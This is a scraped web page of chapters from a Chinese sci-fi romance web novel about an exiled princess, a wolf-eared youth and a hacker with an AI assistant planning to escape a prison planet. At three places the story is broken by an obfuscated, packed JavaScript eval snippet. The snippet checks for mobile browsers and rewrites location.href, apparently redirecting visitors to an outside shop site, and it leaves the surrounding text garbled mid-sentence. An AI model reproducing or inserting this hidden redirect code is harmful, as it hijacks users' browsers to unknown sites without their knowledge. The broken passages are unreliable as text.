“尾巴,先别晃。”栗胤忽然开口。 他的伤在大腿外侧,尾巴乱晃的话,绷带就不好缠了。 “啊?嗯。”白纶慌忙伸手按住尾巴。 但他没有办法控制。 他看着她,前所未有地想要摇晃它。 “幸好没伤到骨头,”女孩低头说,“按照外伤喷剂的疗效,两个系统周就好了。” “是、是啊……”他用力抱住自己的尾巴,垂眸看着将自己的伤腿搁在她的大腿,认真替他包扎伤口的女孩,耳朵悄悄地红了。 “对了。”他将自己的超能粒子枪递到栗胤面前,“我身手比你好,这把还是你拿去防身吧。” 栗胤系好绷带最后一个结,满意地看了看自己第一次帮人包扎的成果,也没有推脱,接过粒子枪拿在手上打量。 “还是得早点把热武器做出来才行。” 她低声嘀咕。 以白纶的听力足以听清栗胤说的话,但他并没有把它当成一回事。 在荒狱星,就没有人成功造出过粒子武器。 他是运气好,捡到了一把能源耗尽的废旧粒子枪,核心结构完整,只需要替换外壳,添加子弹能源就能使用。 作为子弹的能源矿,荒狱星随处可见。 他拥有这把枪这么久,不止一次地把它拆解重装,也没造出过新的枪来。 但他没想到,栗胤竟真的埋头沉浸到热武器的制作中,甚至连吃饭睡觉都忘了。 还是他拖着受伤的腿沉默地把营养液塞到她手上,她才察觉到自己的饥饿。 白纶清点了营养液的存货,不多了。 荒狱星上的人大多都是犯下穷凶极恶罪行的囚犯,带着伤在外头行走是一件非常危险的事,如同失去行动能力的幼崽遇到捕食者,只剩被宰割的下场。 所以养伤期间,白纶只能躲在家里,眼睁睁看着自己积攒下来的食物与零件一天天地消耗。 失去存粮在这颗星球是一件十分可怕的事,面对这种情况,白纶本该感到焦虑,不可思议的是在看到栗胤那张专注的脸,他也跟着平静下来。 她身上那股笃定的气场,仿佛无所不能一般,让人不由自主地想要相信她。 没关系。白纶想,再过两天,他的伤就会痊愈,到时候就让他多跑几趟,去集市换更多更好的零件回来好了。 她一直在嚷嚷电磁场推动器要不够了,要是他能在集市找到带回来,她一定会很开心的。 接着他一怔,他什么时候开始关心栗胤的感受了? 他明明……明明应该想尽办法从这个女人身边逃离才对。 他抿了抿唇,暗自瞥了一眼仍在不断改进制作方案的人,暗自下了决心。 等他的腿好了,他就从她手里把脖子上脉冲装置的遥控抢到手,再把她从自己的世界里赶走。 他摸了摸自己的伤口。 那伤口还是栗胤为他包扎的,粗糙不匀称不说,还打了个歪歪扭扭的蝴蝶结,他自己给自己包扎说不定还能好得更快点。 耳朵无意识地低垂着。 他自己也不知道,他究竟想要让伤口好得快一点,还是慢一点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242893|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 电子钟表的时间流转,白纶自床上起来,解开了腿部的绷带。 新生的皮肤颜色比周围更浅一些,透着淡淡的粉,已经痊愈了。 他抬起眸,异色的瞳仁望向操作台前的人。 尾巴绷直,后背微微弓起,嘴角露出尖锐的獠牙。 忽然,他听见操作台边上发出一声响亮的欢呼。 “完成了!” 银狼差点被吓得原地起跳,等他听清对方说的内容,脸上露出不相信的神色。 粒子枪内部的核心零件何其精细,要是有一毫米的误差,组装出来的枪不能射击还是小事,更大的可能是能源堵塞,导致枪支从内部爆炸,反而会伤到持有者。 怎么可能在不到一个系统月之内就根据内部结构制作出另一把粒子枪? 眼看着栗胤转过身向他展示自己的制作成果,白纶隐晦地向她确认道:“你……用这些日子捡来的材料,做出了一把粒子枪?” “我拆解组装你那把枪好多次,根据它的思路才做出来的。”栗胤让粒子枪在手中旋了个花,随后利落地握在手心,“你的枪不也是你做的吗,我看到自己改装的痕迹了。” 看到栗胤已经将手指搭在枪的扳机上,对着庇护所门外就要试射,白纶的心一时提到了嗓子眼。 若是组装错误,粒子束从枪管内部爆炸的威力,能够炸穿这个庇护所,他们两个人根本无从闪躲。 没来得及开口制止,白纶听到了子弹划开空气的呼啸声。 远处传来粒子束爆炸的轰鸣。 分明用的是同样的参照物,同样的工作台。在她手中,似乎没有造不出来的东西。 空气中飘来燃烧的热浪与烟雾。 白纶目瞪口呆地意识到一件事。 栗胤远比他想象得更有天赋。 她是机械制造的天才。 “成功了!”栗胤吹了声口哨,兴致颇高地将自己做的热武器收好。 在遍地恶囚的荒狱星行走,又多了一层保障。 是时候执行下一个阶段的计划了。 “白纶。”她望向身旁的银狼。 对方在她叫到他名字时下意识挺直脊背,望着她的眼中闪烁着复杂的、难以言喻的情绪。 栗胤对这样的眼神并不陌生。 两年前,她参加四年一度的寰宇杯机甲大赛时,因为贵族的身份和那张漂亮的脸,很是让其他参赛者和观众不以为然。 当她一路披荆斩棘打败对手获得冠军时,众人望向她的眼神,也和现在的白纶如出一辙。 这是来自他们的尊重,以及认可。 是时候了。栗胤想。 这是她第一个靠自己的力量绑在身边的助手,他的脖子上还带着她亲手扣上去的项圈。 戴着镣铐的鹰无法飞上更高的天空,替她看到更远的景色。 她不再是奢靡享乐应有尽有的皇室公主,她养不起除了讨好她和围着她转圈,就没有别的能力的狗。 她要一匹真正的狼。 她要解下他的项圈。 “我要抢一艘船,离开荒狱星。”她说,“你愿意跟我一起吗?” 银发的少年望着她。 一只眼睛天空般透蓝,一只眼睛月光般澄白。 里头闪着同样炽热的火焰。 7. 第七章 籍允 达成同盟后,栗胤想要帮白纶摘下他脖子上的项圈时,白纶却微微往后靠了靠。 栗胤疑惑地望向他。 银狼少年的眼神飘忽了一下,尾巴不自觉地左右摇摆着,他伸手轻轻按在项圈上:“留着也可以。” “……做个纪念。”他补充,“就当是我的投名状吧。” 栗胤笑了:“至少让我改装一下。” 她解下项圈又在工作台忙活了大半天,逆转了项圈的电脉冲方向,让电流脉冲不再伤害项圈的佩戴者,反而会在危急时刻展开电流屏障,抵挡来自敌人的攻击。 原本是随手捡的旧项圈,既然对方要好好佩戴它,她又出于自身的审美给它重新刷了漆,加了点金属点缀。 再次戴上对方的脖子,衬得少年的脖颈细白又性感。 栗胤的手又痒了,飞快地撸了一把白纶的头发和耳朵,又怕对方反应过来反抗,忙不迭出了门,拐个弯回到了自己的临时住处。 屋里的银狼垂着头,看不清表情。 只看到他伸手摸着脖子上的项圈,尾巴一晃一晃地呆坐了好久。 这是他收到的,来自别人的第一个礼物。 ` 要说离开这颗星球的想法,白纶肯定是有的。 但他在这里长大,从没接触过星球之外的信息,根本不知从何做起。 就连机器组装也是他通过实践自学而成的,因为缺乏引导,不知道走过多少弯路。 栗胤却有足够的知识。 在接下来的日子中,她比之前更细致、更严格地将它们教给了白纶。 没有理论基础都能修理改造机械,在有了栗胤指导后,白纶的技术进步得飞快。 他实在是一个很好的学生。 他们复刻了栗胤在天鹰星系科技体系下接触过的很多道具。 武器防具优先装备自己,其他功能各异的机器则去集市换了更多更好的道具。 逆电流脉冲的防具很好用,栗胤给自己也做了一个,戴在手腕上,如同一个细致的银手镯。 可以隐藏长相的金属面罩栗胤也没有漏下,花了点时间给面罩增加了空气过滤的功能,在外行走时就不必受风尘浊气的困扰。 从李四那里顺来的外套实在是太难闻了,栗胤在集市里换了合成布料,给她和白纶都量身做了几身衣服。 既有在外行走时能够遮住身形的、带兜帽的黑色长袍,也有在庇护所里穿的贴身柔软的里衣。 尽管合成布比起栗胤以往穿的昂贵丝绸要劣质太多,但也比刚来荒狱星时穿的囚犯麻布料要舒服。 她不会针线活,采用的是简单粗暴的布料焊接手法,拼接的痕迹很明显,却和布料的材质很相称。她本就是披麻袋就好看的身材,竟也把这身穿出了些工业朋克般的时尚感。 换上新衣在白纶面前转了一圈,布料勾勒出栗胤凹凸有致的身材,银狼的脸唰一下就红了,转开视线不肯看她。 白纶的操作台上每隔一阵都会多一些工具,变得愈发趁手和完善。 房间里染上了越来越多栗胤的痕迹,有时是墙壁上的划痕,有时是随手放在桌上的一只杯子、一件外套,还有她随手做出来的各种家用器械,取暖器、过滤器、家政机器人诸如此类。 成功组装好的机器会先拿去集市看能否成功换取物资。取暖器在集市上很受欢迎,而家政机器人则无人问津,就被栗胤留在了白纶的屋里。 连温饱都成问题的地方,又有谁会考虑自己庇护所的卫生与清洁呢? 也就只有栗胤有闲情将这个家政机器人修好,而不是拆解它的芯片与零件。 在荒狱星上大部分人还在为第二天的营养液豁出性命时,温饱对他们来说已不再是需要担忧的事。 他们只需要考虑,如何变得更强。 强到能够离开这颗荒星。 白纶看到栗胤已经埋头在一个奇怪的机器上花了好几个系统日了。 摊在桌上的笔记上原本画着一柄没有伞面的怪伞,却因为几个关键材料的缺失无法制作,于是退而求其次换成了这个圆球。 它只有半个手掌大小,不知道是不是失败了,小小的圆形机器冒出一缕白烟。 看到这丝白烟,栗胤脸上却终于露出了笑容。 她放下手中的工具,伸了个懒腰。 “这是什么?”见她得空,白纶开口问道。 “秘密武器!”栗胤心情很好地摘下护目镜,为了奖励自己而抱住白纶蓬松的尾巴猛吸。 白纶想要继续问的句子,因为她的动作而凝在喉头。 热度自尾尖窜到脑门,他要用全身的力气,才能克制住尾巴在她怀里的晃动。 他对她撸毛的抵抗越来越微弱了。 有时候因为她随意放在自己头发上的手,尾巴就会不受控制地晃起来。 他是不是…… 生病了? 白纶想,他需要离开栗胤两天才行。 “我想……去远一点的黑夜看看,会不会有没见过的零件,中途就不回来了。”他对栗胤说。 “什么时候?我准备一下。”栗胤随意地顺着银狼尾巴上的毛,一边问道。 她默认了会和自己一起行动! 因为这个认知,白纶的尾巴欢快地甩了一下,栗胤差点抓不住它。 他有点狼狈地快速开口:“我,我自己去吧。你不是对东边黄昏新出现的集市有点在意吗?” 毕竟找零件只是白纶的藉口。 栗胤想了想:“好吧,那要分开行动了。” 白纶舒了一口气,却感受到对方的手从尾巴尖一寸寸向根部靠近。 “既然有几天见不到,那先让我撸个爽?” 她这句话是宣布而不是询问,来自尾巴和耳朵的异样电流让白纶全身都软了。 异瞳的银狼少年失了力气,软倒在床上,连挣扎抵抗的念头都不再有。 身体不受控制的酥软让他双瞳微微湿润,四肢摊开仰面朝天,胸膛剧烈地起伏着,向她露出了最脆弱的部位。 少女似是丝毫未察觉底下人的隐秘欲望,尽情地享受着耳朵和尾巴毛绒绒且顺滑的触感。 她听见少年沙哑的声音:“肚子……” “什么?” “肚子,也可以摸。”白纶说完,飞快地抬起手背遮住了通红的脸。 栗胤在片刻的诧异后,就露出了然的笑容。 是“可以”,还是“想要”? 再追问下去,对少年可就太残忍了。 年轻的少年,身体已在一次次性命攸关的战斗中被塑形,虽略显瘦削,身上的肌肉却饱满有力。 那是只有在无数次险境中才能锤炼出的,野性的力量。 隔着衣服布料,也能清晰地感受到腹部肌肉的纹理。 在平日中,这里为了保护内脏而坚硬无比。但现在他仰躺在床上,毫不设防地向她敞露他的一切。 手感真好! 她吸狼吸爽了,红光满面地离开了这间屋子,留下一只软成一滩水的银狼。 白纶低头看到自己的腿,突然爆红了脸,在床上蜷了起来。 没过一会儿,那团泛着粉光的银色毛球又重新打开。他的耳朵动了动,视线扫过被少女带上的门,双唇抿紧又松开,脸上的温度一直没有褪下。 “栗胤……” 他小声地,喘着气叫出了她的名字。 那声音带着点鼻音,是少年从未在人前展露过的脆弱。 他好像病得更严重了。 白纶走入了荒狱星距离人造太阳最遥远的黑夜。 那里是一片浓厚得化不开的黑,就连以夜视能力著称的斐戎族亚人都难以看清道路。没有人造太阳的光也就没有热,在无休止的刺骨寒风中,几乎没有人会选择造访这样的地方。 也只有被栗胤升级了强光手电和自热保暖衣后,白纶才敢深入这里。 和被挖掘得坑坑洼洼的白日相比,黑夜的垃圾山更为巍峨高大,如同望不到顶的高楼,在白纶的强光手电下投射出诡谲的阴影。 手电的光在一处停滞,白纶加速跑了两步,手掌覆在一块完整的金属表面。 “真的是复合钛……”他又惊又喜。 栗胤念叨这种高强度金属很久了。 如果有这样大片完整的复合钛,他们防具的性能又可以往上升一截。 她肯定会很高兴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242894|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白纶花了两个系统日的时间把这块复合钛拆解装入背包,又找了找其它零件。 人迹罕至地方的好处就是能找到更多其他地方被人哄抢的器械。要不是背包容量有限,他还想多装一点。 下次带栗胤一起来吧。 接着白纶意识到,明明是为了远离栗胤,自己却每一秒都在想她。 看不到栗胤,尾巴不受控制的症状就恢复了。 但与此同时,胸口总觉得缺了一块,无时无刻不想着回到对方身边去。 和想见到栗胤的欲望相比,尾巴的摆动都无关紧要了。 他想和栗胤在一起。他想永远待在她身边。 确认了这一点后,白纶便往回跑去。 他的步伐在离庇护所不远处顿了一下。 栗胤站在庇护所门口,在她面前立着一个戴着金边眼镜的男人,个子比他还要高一点。红色的竖瞳透过镜片专注地盯着栗胤,正笑吟吟地和她说着什么。 他有一条非常长的尾巴,黑亮光滑,鳞片微微反着光。大半拖在地上,末端变细,向上翘起。 栗胤的一只手悬着,那条细长的尾巴末端正勾在她的手腕上,衬得那截皓腕格外白皙。 这种尾巴……是黑蛇基因血统的特征。 他是佘鳞族的人! 佘鳞族,惯使狡诈计谋。 装满了复合钛的沉重背包落到地上,震起一层飞尘。 一瞬间,白纶什么都顾不得想,一股怒气从心中升起。他不知道这恼怒是源自哪里,也不知道要针对谁,但他已经刹那从原地一跃而起。 斐戎族优越的身体素质让他转瞬来到二人面前。他獠牙外露,捏拳就往眼镜男脸上挥去! 眼镜男显然早已注意到他,灵巧地扭身躲开他的攻击。他的尾巴长而有力,能够支撑他在半空中进行其他种族做不到的转向。 白纶单脚点地,用强大的核心力量快速地扭转身躯,另一只脚向他踢去。 对方用掌心接住他的脚踝,却依旧被那力道震得后滑两步。 没打到,那就继续! 白纶眼底燃着火,在外奔波两天的疲惫都被他忘在脑后,身上像是有使不完的力气。 眼镜男在他密集的攻击下,渐渐有些吃不消了。 栗胤收起兴致勃勃观战的表情,开口道:“白纶,停一停。” 因她的话,银狼硬生生制止住即将挥到对方脸上的拳头,转头望向她。 他喘着气,眼角带着因愤怒而染的红,尾巴往下垂着,看起来竟有点委屈。 “这是籍允。”栗胤向他介绍眼镜男,“他在集市看到我,主动和我打招呼,说要加入我。” 白纶看了籍允一眼。 后者正在掸身上因刚才交手而沾上的灰。 仔细看去,尽管在荒狱星上找不到布料多好的衣服,穿在他身上的却显得笔挺且矜贵。 配上那副金边眼镜,一看就挺靠谱的样子。 白纶抿抿唇,提醒道:“你还不知道他的底细。” 栗胤一脸正直:“我看到他第一眼,就觉得他是个值得深入交流的对象。” 闻言,站在一旁的籍允露出无可挑剔的微笑。 白纶敏锐地注意到,他的耳朵有点红。 他抽抽鼻子,闻到了空气中淡淡的奇怪的味道。 他的视线凝在对方黑色的尾巴尖上。 原本以为籍允的尾巴缠着栗胤的手腕,仔细看去,却发现其实是栗胤撸着对方的尾巴尖不肯放手。 他惊讶地看向栗胤,眼中充满复杂的情绪。 在银狼的目光中,栗胤不知怎么生出一股心虚来。 可是手中佘鳞族的尾巴光滑柔软,覆着冰凉的鳞片,随着她抚摸手法的不同会有不同的反应,是和毛绒绒的银狼尾巴完全不一样的手感。 最奇妙的是蛇尾基底的囊状腺体,她的指腹在上面刮过,那里便会逸出淡淡的气味,腺体本身也会变得更加柔软,尾巴尖打着抖,一圈圈缠住她的手臂。 那缠的力道恰到好处,让她能充分感受到蛇尾紧贴皮肤的触感,又不觉得勒,尽管他没有出声,她也知道他是不讨厌的。 籍允这么配合,她根本停不下来。 8. 第八章 三人 再撸下去,银狼就要失控了。 栗胤轻咳一声,放开籍允的尾巴,对白纶补充道:“我知道籍允。” “他是虹河系最负盛名的……黑客。” 传奇的星际黑客大盗落网被捕的消息,曾让虹河系中所有星系的新闻媒体热闹了整整三天。 他游转虹河各大星系,以官僚贵族的私家藏品为目标,屡屡破解各大世家的防盗系统,取他们的钱财如同在逛自家的后花园那般轻松。 过去被他盗取的奇珍异宝总值高达几千亿信诺币,好像这个世界上就没有他破解不了的系统。 但三年前,在盗取了禺泯星系某贵族的珍贵藏品后,他在撤离途中看到了一个小孩。 彼时街上嘈杂凌乱,警灯闪烁。警方在黑客大盗身上吃了太多苦头,为了追捕到他,这次下足了血本,誓要不惜一切代价将他拦截。 悬浮警车在高楼间飞速地穿梭,行人忙不迭避让,数个摊贩被横冲直撞的警察撞翻。 无人敢口出怨言。 那个孩子也一样。他与父母在顶楼的观景餐厅用餐,却被躲避的人流冲散,他被挤到了高楼边缘。 护栏因人群的推挤而松动,孩子靠上去的那刻,与碎裂的护栏一同跌落。 所有人的目光都锁定在黑客大盗身上,无人在意从高楼跌落的孩子。 只有一人看到了他。 那一瞬间,他猛然扭转自己的撤离路线,悬浮飞梭在空中甩出激烈的火花,几乎是冲进警方包围圈地,冲过去接住了那个孩子。 星际黑客大盗因此落网,他这一举动却在网络上掀起了轩然大波。 叫好的、痛骂警察的、主张黑客大盗应该被无罪释放的吵成一团。 栗胤看着新闻时想,可惜了,被流放到那么遥远的荒星。 有机会的话,她还真想和他认识一下。 还有一条那么漂亮的尾巴,不知道摸起来是什么样的手感。 却没想到这个机会,是她也同样以囚犯的身份,被流放到了这颗星球。 黑亮的尾巴从白皙的手腕上滑落,在地面优雅地盘起。 “我也认识你,公主殿下。” 不如说,只要是近二十年在天鹰星系生活过的人,或是整个虹河系会看新闻的人,都不可能不认识栗胤公主。 籍允的红瞳在镜片后弯起,“不知道该感到遗憾还是幸运,看到我们天鹰星系最完美的公主被流放到这里。” 他的话音落下,一旁响起一个更为惊讶的声音:“你是公主?!” 荒狱星不通消息,唯一能接触到的外界,就只有不定期来这里收购矿物的商船了。 从小在荒狱星长大的白纶,又怎么可能见过公主的长相。 因过于强烈的冲击,他的双唇不自主地张开。 他知道栗胤气质不凡,长相也是他见过最好看的。但是,公主……? 母亲和他讲过,公主是每个星系中被众星捧月的、最矜贵的女人。是整个星系的明珠。 他从没想象过,自己还有和公主有接触的一天。 她还……她还每天撸自己的尾巴! 籍允微微颌首:“很荣幸能为公主服务。” 栗胤说:“我已经不是公主了。” 她的声音淡淡的,没有不甘和愤懑。那些情绪已经过去了。对她而言,还有更需要把握的未来。 “有所耳闻。”籍允说,“我也曾在天鹰星系生活,几乎每天都能透过媒体知道公主的点滴新闻。正因如此,我才能断定,您绝不会做出弑父夺位这种事。” 红色的竖瞳安静地看着自己。 距离老库尔维耶皇帝殁世这么久,除了她那个心怀诡胎的弟弟,还是第一次有人这么肯定地站在她这边。 不管这是不是对方惯用的花言巧语、口蜜腹剑,至少栗胤听着是很舒服的。 她眯起眼打量籍允。 距离她从天鹰星被流放三个月,消息确实足以传遍虹河各大星系,但唯独不该有荒狱星。 籍允是两年前来到这里的,他能知道自己被流放的原因,证明他肯定有能接收到外界信号的工具。 这个男人在不动声色地向她传递他的能耐。 她很确信一件事。 她想要他。 “唯有胜者可以书写历史。” “是不是被冤枉的已经无所谓了。”栗胤说,“我会离开这里,夺回属于我的一切。” 籍允笑着伸出手:“公主的性格,我很欣赏。” “不用叫我公主了,叫我栗胤就好。”栗胤握住那只手,“我也很高兴有你作为我的助力,籍允。” 在两人交握的手上,忽然叠上了另一只手。 “我一定会让你成功的。”獒尼族少年开口道。 他看着栗胤,表情认真。 他没有接触过荒狱星以外的世界,不知道自己能不能成功离开,也不知道离开这里后要面对什么。可他已经下定决心永远站在栗胤身侧,栗胤的目标即是他的目标。 尽管对黑蛇有着本能的警惕,但既然栗胤愿意接受他,那他也可以。 在他的神情中,栗胤仿佛感觉到了什么,又说不太清。 好像是一份郑重的、沉甸甸的情感。 ` 籍允加入后,也将自己的庇护所搬到了他们附近。 他带来的财产比栗胤想的还要丰厚,不仅有大量的能量石和营养液,还有一台巴掌大小带屏幕的方块。 这个方块是所有物品里最不起眼的一个,栗胤却一眼就认出了它。 “这是……掌上智脑!”她震惊地看着这台机器,“能接收外面的信号?” 籍允苦笑着摇摇头:“得星球附近有信号基站才行。” 跨星系实时接收信号的信号基站并不是轻易能够制造的东西,就算栗胤利用星球上的废品改造出地面天线,要接受遥远宇宙另一端的信号,得到的也只有延迟了几年甚至几百年的信息。 位于宇宙边际的荒狱星,只有等到搭载着信号基站的飞艇靠近时,才能够短暂地接收到外界的最新信息。 所以他知道自己被流放的消息,没准还是自己到达这颗星球的那一天,借用了流放艇上的信号。 “可惜了。” 栗胤将智脑放回籍允的手中。 没有信号的智脑,就只是一个高级一些的智能机械。 她对硬件组装略有心得,软件编程却不是她的强项。就算她能组装出一台智脑,没有可以运行的系统还是白搭。 籍允对她眨眨眼,镜片后的红瞳透着矜持的自傲:“别小看它,它毕竟是我的智脑。和一般的机器比起来,它还是更能干一些的。” 这可是虹河系第一黑客的智脑。 他冲着智脑喊道:“小黑。” 掌上智脑的屏幕亮起,一条黑色的卡通小蛇出现在屏幕中央:“在呢。” “帮我把东西送进屋里去。” 黑色的小蛇温顺地答道:“好的,主人。” 在籍允身后的那辆载满物资的全地形车自发移动起来,缓缓驶入庇护所内。 栗胤和白纶好奇地凑过去看屏幕中央的小蛇。尤其是后者,还是第一次看到能够实时回应的电子程序,忍不住用手指戳了戳智脑屏幕。 小蛇灵活地躲开了白纶的手指。 白纶的尾巴竖起来,正准备用手指和小蛇一较高下,被栗胤笑着捏住了那根手指。 一级文明星球出生的她,一眼就看出了小黑的本质。 “别跟AI过不去。” 白纶看着自己被捏住的手指一愣,顶着脸上的烧意问道:“什么是AI?” 籍允微笑:“你不如自己问问小黑。小黑。” “我听着呢。”黑色的小蛇从屏幕的角落游到中央,“您好,白纶先生,栗胤小姐。我是籍允先生创造的人工智能助手,致力于辅佐主人的记录、决策和便捷生活。” 智脑的发声模块应该是籍允在荒狱星拾荒后加上去的,音质拙劣,带着明显的电音。即便如此,这句话的流畅度和音调起伏的自然感,以及小黑的思考逻辑和回答,比栗胤使用过的任何一个AI都要智能。 栗胤问:“创造AI需要庞大的数据支撑,是无法离线生成的。你是怎么把它带到这颗星球上的?” “说到底,小黑不过是一组数据。而携带数据,一块指甲盖大小的芯片足矣。我将芯片藏在了鳞片下面。”籍允盘起他黑亮的尾巴,红眸弯起。 他没有提他销毁自己原有的智脑、摘下芯片的时间有多紧迫、多么千钧一发;将芯片刺入鳞片下的血肉、经过几个系统月流放的过程有多难捱;仅凭一张芯片将小黑复原到现在这个地步又需要耗费多少精力与心血。 他只是微笑着问道:“还满意小黑吗,栗胤?” 栗胤的眸光闪烁,接着,那对眼睛越来越明亮。 “太棒了,籍允。” 人工智能的尽头在于人类的想象力。 她的机械制作能力能够赋予小黑它需要的任何躯体。 软件运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242895|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行离不开硬件支撑,她从落地以来在集市出售的改装机械充分证明了她的动手能力。若她只是徒有虚表的皇室公主,或许籍允也不会找上她。 他们打通了原本的矿坑,将它进一步加固改造,划分出三个卧室和一个公共区域。这样,不需要离开庇护所暴露在别人眼中,他们也能在庇护所里串门交流。 有了人工智能的帮助和栗胤几人的动手能力,隐匿在平平无奇外表下的整个庇护所实现了全屋智能,小黑是掌管中控系统的核心。 她顺手改良了小黑的发声模块,采样了籍允和白纶声音,兼顾了少年的清亮和成年的沉稳,是让耳朵非常享受的声线。 经过一段时间的适应与调教,栗胤彻底从繁琐的零件清洁、归类、打磨等琐事中解放出来,可以专注在更精细的拼接改装上。 其中栗胤最满意的是公共区域那扇虚拟窗户屏,她花了几天时间,寻找了近百个废弃电器的屏幕才组合出这么一扇。 又经过籍允的程序编制,连接上小黑的控制端,将它转化成了一面全智能屏。 平常的待机时间,小黑让这个屏幕像一面真正的、不存在于荒狱星的窗户一样,模拟了天鹰星24小时的日照变化,将日夜交替带入了这一方小小的空间。 只有白纶不太适应:“外面的星球上光线都会随着时间而变化吗?” 籍允的眼镜镜片上滑动着繁复的代码,他调试着程序随口接话道:“天然行星都是如此,不如说只有荒狱星这种廉价人工改造的星球才没有做出日夜变化。” “那人类的作息不就被光线的变化限定住了吗?” “不会,室内有灯,也有遮光的帘子。”栗胤说,“反而日升日落让不同半球的人都能够体会到白天和黑夜。” 白纶摇了摇尾巴,又觉得日夜有变化也挺好:“那大家就不会为了争抢‘白天’里的一个庇护所而头破血流了。” 栗胤忍俊不禁:“不止光线,连温度和天气都会变化,我们管这叫做‘四季’和‘晴雨’。” 她一边对籍允确认屏幕的状况,一边对白纶解释这两个词的意思。 “这也太不方便了。”獒尼族少年咋舌,“要用工具遮挡天上掉落的水珠!还要根据不同季节更换不同的衣服!” “但是不同季节有不同季节的美。春有艳花,夏有碧荷,秋有红枫,冬有白雪。晴有蓝天,雨有朦胧。 “天热了能穿着清凉携手去海中畅游,天冷了能肌肤相挨挤在火炉边手捧热饮。” 栗胤说着有些出神。她是善于发现美、享受美的人,但白纶没有见过这些风景,也无法想象。他甚至不知道“海”“火炉”“热饮”是什么。她有些遗憾,想带他离开荒狱星的愿望也更为迫切。 在满足栗胤小小的日夜需求之外,门外的红外感应系统会在有人接近时切换到监控模式,在屋内便能通过“窗户”看到庇护所周围的风吹草动。 在这个不存在光线变化的荒狱星,有了这扇虚拟窗后,栗胤的作息都规律了不少。 白纶也不得不承认,籍允的加入确实让他们往更厉害的方向前进了一大截。 可是,可是……他再也找不到和栗胤二人独处的时间了! 每当他寻到栗胤休息的空隙想要和她贴近时,那条没有眼力见的黑蛇就一定会用各种理由去找栗胤。 偏偏他每一次的理由都很充分,新设备的调试啦,人工智能的新进展啦,连那条只在屏幕里的小蛇都站在籍允那边帮忙吸引栗胤的注意力。 明明是他先和栗胤组队的! 看着相谈甚欢的两人,银狼尾巴直竖,喉咙里发出沉闷的低吼。 栗胤抬眼就看到白纶泛着森然眸光的异瞳。她哑然失笑,向对方招招手,对着白纶毛绒绒的耳朵好一通揉捏:“前阵子交给你组装的空气过滤器进展如何了?” “已经……已经做好了。”白纶的身体一下就软了,手忙脚乱地按住自己乱晃的尾巴,轻声问道,“你要检查一下吗?” 籍允伸手抬了抬眼镜,微笑着开口:“营养液的储备不多了,该去集市换取一批新的。” 提到正事,栗胤收起不安分的手从座位上站起身:“我去整理用来交换的机械。” 白纶的呼吸还没有平复,眼角泛着浅浅的绯红,看到籍允正悠然自得地起身整理着装。注意到他的视线,红色竖瞳轻飘飘地向他投来带着哂意的一瞥。 ……他肯定是故意的! 银狼的尾巴因恼怒而竖起炸毛。 他迟早要和他打一架! 9. 第九章 提升 从集市回来,栗胤将鼓鼓的背包随手放在籍允带来的全地形车里。这辆车也连接了小黑的智能系统,会自动将里面的东西分类摆放好。 三人在操作台边上坐下。 操作台正对着虚拟窗,占了公共区域大部分的位置。 这张功能愈发完善精密的桌子同时还充当着他们的会议桌。 每隔几天,栗胤都会与其他二人复盘一遍他们的截船计划。 无论庇护所被布置得有多舒适,他们三个始终没有忘记自己的真正目的。 ——离开这颗星球。 会接近荒狱星的飞船共有两类,一类是投放犯人的,一类是来采购能量晶矿的,都有非常严密的警卫和高级的热武器。 偶尔还有扔垃圾的飞船,但只会高高地悬停在空中将废弃零件往下倾倒,让没有飞行设备的他们登上这样的飞船,就好像没有星际航行能力的远古时期的人们妄想靠吃仙丹升空登上月亮一样荒诞。 栗胤把这一类飞船排出了选择范围,重点放在商船和流放船上。 “警卫太多了,靠武力攻进去并不现实。”白纶说,“我见过的商船,就没有少于二十个警卫的。” 论在荒狱星上看到过的停靠飞船的数量,他是远胜于栗胤和籍允的,对这些飞船的人员配置也最为了解。 最坏的情况,这二十个以上的警卫,个个都搭载了最先进的防御设备和武器。 无法正面突破,就只能绕开这些人。 “我们要做到两点。”栗胤指着桌上用零件模拟的飞船与警卫,“第一,蒙蔽住所有飞船上的人的视线。当视线被阻,他们会就意识到有人袭击,飞船中的人会急着关门起飞。这时候我们就需要做第二步,破解飞船舱门的权限禁制,进入飞船,夺取控制权。籍允,你的技术是可以做到破解权限的对吧?” 籍允点点头:“但我需要连接飞船的控制面板三分钟。” “三分钟……”栗胤低声重复。她知道到那时候,哪怕一秒钟都会无比漫长,“不能再短了?” 籍允苦笑:“两年前,我可以做到一分半破解任何一艘船的控制权限。但要是再过两年后,我会说我需要预留三十分钟。” 科技的发展就是这样无情且迅速。 不论用什么方法,栗胤都要尽早出去。在荒狱星呆得越久,她与信息的脱节就会越严重。 